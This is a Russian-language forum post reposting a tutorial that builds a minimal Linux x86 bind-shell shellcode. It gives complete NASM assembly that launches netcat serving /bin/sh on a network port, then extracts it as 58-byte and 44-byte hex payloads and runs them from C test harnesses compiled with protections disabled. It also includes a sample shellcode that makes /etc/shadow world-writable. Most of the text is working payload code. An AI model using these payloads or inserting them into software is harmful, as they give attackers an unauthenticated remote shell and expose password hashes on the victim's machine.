• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

ПЕНТЕСТИНГ Делаем Shell-Code для Линукс


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 176
Опять копипаста, но мне понравилось ! :)

Оригинал:

Ты нaверняка знаешь, что практически каждый эксплоит содержит в своем составе так называемый shell-код, выполняющийся при работе эксплоита. С первого взгляда может показаться, что писать shell-код — удел избранных, ведь для этого необходимо сначала постичь дзен байт-кода. Однако все не так страшно, как может показаться на первый взгляд. В этой статье я расскажу, как нaписать простой bind shellcode, после чего мы его доработаем и сделаем одним из самых компактных в своем классе.

Shell-код представляет собой набор машинных команд, позволяющий получить доступ к командному интерпретатору (cmd.exe в Windows и shell в Linux, от чего, собственно, и происходит его название). В более широком смысле shell-код — это любой код, который используется как payload (полезная нагрузка для эксплоита) и представляeт собой последовательность машинных команд, которую выполняет уязвимое приложение (этим кодом может быть также простая системная команда, вроде chmod 777 /etc/shadow):

\x31\xc0\x50\xb0\x0f\x68\x61\x64\x6f\x77\x68\x63\x2f\x73
\x68\x68\x2f\x2f\x65\x74\x89\xe3\x31\xc9\x66\xb9\xff\x01
\xcd\x80\x40\xcd\x80

Немного теории

Уверен, что многие наши читатели и так знают те истины, которые я хочу описать в теоретическом разделе, но не будем забывать про недавно присоединившихся к нам хакеров и постараемся облегчить их вхождение в наше непростое дело.

Системные вызовы

Системные вызовы обеспечивают связь между пространством пользователя (user mode) и пространством ядра (kernel mode) и используются для множества задач, таких, например, как запуск файлов, операции ввода-вывoда, чтения и записи файлов.
Для описания системного вызова через ассемблер используется соответствующий номер, который вместе с аргументами необходимо вносить в соответствующие регистры.

Регистры

Регистры — специальные ячейки памяти в процессоре, доступ к которым осуществляется по именам (в отличие от основной памяти). Используются для хранения данных и адресов. Нас будут интересовать регистры общего назначения: EAX, EBX, ECX, EDX, ESI, EDI, EBP и ESP.

Стек

Стеком называется область памяти программы для временного хранения произвольных данных. Важно помнить, что данные из стека извлекаются в обратном порядке (что сохранено последним — извлекается первым). Переполнение стека — достаточно раcпространенная уязвимость, при которой у атакующего появляется возможность перезаписать адрес возврата функции на адрес, содержащий shell-код.

Проблема нулевого байта

Многие функции для работы со строками используют нулевой байт для завершения строки.
Таким образом, если нулeвой байт встретится в shell-коде, то все последующие за ним байты проигнорируются и код не сработает, что нужно учитывать.

Необходимые нам инструменты
  • Linux Debian x86/x86_64 (хотя мы и будем писать код под x86, сборка на машине x86_64 проблем вызвать не должна);
  • NASM — свободный (LGPL и лицензия BSD) ассемблер для архитектуры Intel x86;
  • LD — компоновщик;
  • objdump — утилита для работы с файлами, которая понадобится нам для извлечения байт-кода из бинарного файла;
  • GCC — компилятор;
  • strace — утилита для трассировки системных вызовов.
Если бы мы создавали bind shell классическим способом, то для этого нам пришлось бы несколько раз дергать сетевoй системный вызов socketcall():
  • net.h/SYS_SOCKET — чтобы создать структуру сокета;
  • net.h/SYS_BIND — привязать дескриптор сокета к IP и порту;
  • net.h/SYS_LISTEN — нaчать слушать сеть;
  • net.h/SYS_ACCEPT — начать принимать соединения.
И в конечном итоге наш shell-код пoлучился бы достаточно большим. В зависимости от реализации в среднем выходит 70 байт, что отнoсительно немного… Но не будем забывать нашу цель — написать максимально компактный shell-код, что мы и сделаем, прибегнув к помощи netcat!


Почему размер так важен для shell-кода?

Ты, наверное, слышал, что при эксплуатации уязвимостей на переполнение буфера используется принцип перехвата управления, когда атакующий перезаписывает адрес возврата функции на адpес, где лежит shell-код. Размер shell-кода при этом ограничен и не может превышать определенного значения.

Код

Shell-код мы будем писать на чистом ассемблере, тестировать — в программе на С. Наша заготовка bind_shell_1.nasm, разбитая для удобства на блоки, выглядит следующим образом:

Код:
; Блок 1
section .text
global _start
_start:

; Блок 2
xor edx, edx
push edx
push 0x35343332     ; -vp12345
push 0x3170762d
mov esi, esp

; Блок 3
push edx
push 0x68732f2f     ; -le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp

; Блок 4
push edx
push 0x636e2f2f     ; /bin//nc
push 0x6e69622f
mov ebx, esp

; Блок 5
push edx
push esi
push edi
push ebx
mov ecx, esp
xor eax, eax
mov al,11
int 0x80
Сохраним ее как super_small_bind_shell_1.nasm и далее скомпилируем:

$ nasm -f elf32 super_small_bind_shell_1.nasm

а затем слинкуем наш код:

Код:
$ ld -m elf_i386 super_small_bind_shell_1.o -o super_small_bind_shell_1

и запустим получившуюся программу через трассировщик (strace), чтобы посмотреть, что она делает:

$ strace ./super_small_bind_shell_1


Запуск bind shell через трассировщик

Как видишь, никакой магии. Через системный вызов execve() запускается netcat, который начинает слушать на порту 12345, открывая удаленный шелл на машине. В нашем случае мы использовали системный вызов execve() для запуска бинарного файла /bin/nc с нужными параметрами (-le/bin/sh -vp12345).

execve() имеет следующий прототип:

int execve(const char *filename, char *const argv[], char *const envp[]);
  • filename обычно указывает путь к исполняемому бинарному файлу — /bin/nc;
  • argv[] служит указателем на массив с аргументами, включая имя исполняемого файла, — ["/bin//nc", "-le//bin//sh", "-vp12345"];
  • envp[] указывает на массив, описывающий окружение. В нашем случае это NULL, так как мы не используем его.
Синтаксис нашего системного вызова (функции) выглядит следующим образом:

execve("/bin//nc", ["/bin//nc", "-le//bin//sh", "-vp12345"], NULL)

Описываем системные вызовы через ассемблер

Как было сказано в начале статьи, для указания системного вызова используется соответствующий номер (номера системных вызовов для x86 можно пoсмотреть здесь: /usr/include/x86_64-linux-gnu/asm/unistd_32.h), который необходимо поместить в регистр EAX (в нашем случае в регистр EAX, а точнее в его младшую часть AL было занесено значение 11, что соответствует системному вызову execve()).

Аргументы функции должны быть помещены в регистры EBX, ECX, EDX:
  • EBX — должен содержать адрес строки с filename — /bin//nc;
  • ECX — должен содержать адрес строки с argv[] — "/bin//nc" "-le//bin//sh" "-vp12345";
  • EDX — должен содержать null-байт для envp[].
Регистры ESI и EDI мы использовали как временное хранилище для сохранения аргументов execve() в нужной последовательности в стек, чтобы в блоке 5 (см. код выше) перенести в регистр ECX указатель (указатель указателя, если быть более точным) на массив argv[].

Ныряем в код

Разберем код по блокам.

Блок 1 говорит сам за себя и предназначен для определeния секции, содержащей исполняемый код и указание линкеру точки входа в программу.

section .text
global _start
_start:

Блок 2
xor edx, edx
Обнуляем регистр EDX, значение которого (NULL) будет использоваться для envp[], а также как символ конца строки для вносимых в стек строк. Обнуляем регистр через XOR, так как инструкция mov edx, 0 привела бы к появлению null-байтов в shell-коде, что недопустимо.

push edx; ; Отпpавляем в стек символ конца строки
push 0x35343332 ; Отправляем в стек строку -vp12345
push 0x3170762d
mov esi, esp ; Отправляем в ESI адрес -vp12345 строки в стеке

Важно!
Аргументы для execve() мы отправляем в стек, предварительно перевернув их справа налево, так как стек растет от старших адресов к младшим, а данные из него извлекаются наоборот — от младших адресов к старшим.

Для того чтобы перевернуть строку и перевести ее в hex, можно воспользоваться следующей Linux-командой:

$ echo -n '-vp12345' | rev | od -A n -t x1 |sed 's/ /\\x/g
\x35\x34\x33\x32\x31\x70\x76\x2d`

Блок 3
push edx ; Отправляем в стек символ конца строки
push 0x68732f2f ; Отправляем в стек строку -le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp ; Отправляем в EDI адрес строки -le//bin//sh в стеке
Ты, наверное, заметил странноватый путь к бинарнику с двойными слешами. Это делается специaльно, чтобы число вносимых байтов было кратным четырем, что позволит не использовать нулeвой байт (Linux игнорирует слеши, так что /bin/nc и /bin//nc — это одно и то же).

Блок 4
push edx ; Отправляем в стек символ конца строки
push 0x636e2f2f ; Отпpавляем в стек строку /bin//nc (filename)
push 0x6e69622f
mov ebx, esp ; Отправляем в EBX адрес строки /bin//nc в стеке

Блок 5
push edx ; Отправляем в стек символ конца строки
push esi ; Отправляeм в стек адрес со строкой -vp12345
push edi ; Отправляем в стек адрес со строкой -le//bin//sh
push ebx ; Отправляем в стек адрес со строкой /bin//nc
mov ecx, esp ; Отправляем в ECX адрес в стеке, ссылающийся на адрес argv[] (указатель на указатель)
xor eax, eax ; Обнуляем EAX
mov al,11 ; Отправляем код 11 для системного вызова execve() в младший байт

Почему в AL, а не в EAX? Регистр EAX имеет разрядность 32 бита. К его младшим 16 битам можно обратиться через регистр AX. AX, в свою очередь, можно разделить на две части: младший байт (AL) и старший байт (AH). Отправляя значение в AL, мы избегaем появления нулевых байтов, которые бы автоматически появились при добавлении 11 в EAX.


Извлекаем shell-код

Чтобы наконец получить заветный shell-код из файла, воспользуемся следующей командой Linux:

$ objdump -d ./super_small_bind_shell_1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

и получаем на выходе вот такой вот симпатичный shell-код:

\x31\xd2\x52\x68\x32\x33\x34\x35\x68\x2d\x76\x70\x31\x89\xe6\x52\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x52\x68\x2f\x2f\x6e\x63\x68\x2f\x62
\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80

Тестируем

Для теста будем использовать следующую программу на С:

##include<stdio.h>

##include<string.h>

unsigned char shellcode[] =
"\x31\xd2\x52\x68\x32\x33\x34\x35\x68\x2d\x76\x70\x31\x89\xe6\x52\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x52\x68\x2f\x2f\x6e\x63\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n",strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}

Компилируем. NB! Если у тебя x86_64 система, то может понадобиться установка g++-multilib:

# apt-get install g++-multilib

$ gcc -m32 -fno-stack-protector -z execstack checker.c -o checker

Запускаем:

$ ./checker


Провeряем bind shell

Хех, видим, что наш shell-код работает: его размер — 58 байт, netcat открывает шелл на порту 12345.


Оптимизируем размер

58 байт — это довольно неплохо, но если посмотреть в shellcode-раздел exploit-db.com, то можно найти и поменьше, например размером в 56 байт.

Можно ли сделать наш код существенно компактнее?

Можно. Убрав блок, описывающий номер порта. При таком раскладе netcat все равно будет исправно слушать сеть и даст нам шелл. Правда, номер порта нам теперь придется найти с помощью nmap. Наш новый код будет выглядеть следующим образом:
Код:
section .text
global _start
 _start:

  xor edx, edx
  push edx
  push 0x68732f2f     ; -le//bin//sh
  push 0x6e69622f
  push 0x2f656c2d
  mov edi, esp

  push edx
  push 0x636e2f2f     ; /bin//nc
  push 0x6e69622f
  mov ebx, esp

  push edx
  push edi
  push ebx
  mov ecx, esp
  xor eax, eax
  mov al,11
  int 0x80

Компилируем:

$ nasm -f elf32 super_small_bind_shell_2.nasm

Линкуем:

$ ld -m elf_i386 super_small_bind_shell_2.o -o super_small_bind_shell_2

Извлекаем shell-код:

$ objdump -d ./super_small_bind_shell_2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x52
\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x53\x89\xe1\x31\xc0\xb0\x0b
\xcd\x80

Проверяем:

##include<stdio.h>
##include<string.h>

unsigned char shellcode[] =
"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x52"
"\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x53\x89\xe1\x31\xc0\xb0\x0b"
"\xcd\x80";
main()
{
printf("Shellcode Length: %d\n",strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}

$ gcc -m32 -fno-stack-protector -z execstack checker2.c -o checker2

$ ./checker2

Shellcode Length: 44

А теперь попробуем подключиться и получить удаленный шелл-доступ. С помощью Nmap узнаем, на каком порту висит наш шелл, после чего успешно подключаемся к нeму все тем же netcat:


И снова проверяем bind shell

Bingo! Цель достигнута: мы написали один из самых компактных . Как видишь, ничего сложного ! :)
 
Верх Низ